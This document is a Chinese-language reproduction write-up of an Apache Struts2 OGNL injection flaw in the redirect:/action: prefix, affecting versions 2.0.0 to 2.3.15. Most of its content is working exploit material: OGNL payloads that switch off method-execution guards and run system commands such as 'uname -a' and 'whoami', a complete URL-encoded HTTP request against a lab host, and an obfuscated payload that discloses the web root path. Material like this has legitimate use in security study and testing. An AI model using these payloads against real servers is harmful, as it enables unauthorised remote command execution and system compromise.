影响版本: 2.0.0 - 2.3.15

漏洞复现

在struts2中，DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。

所以，访问`http://your-ip:8080/index.action?redirect:OGNL表达式`即可执行OGNL表达式。

执行命令：

```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```

GET /index.action?redirect%3a%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew%20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d HTTP/1.1
Host: 192.168.188.139:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=A4BE43E5F6DB8E5570C3788E697A7FF1
Connection: close

获取web目录：

```
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```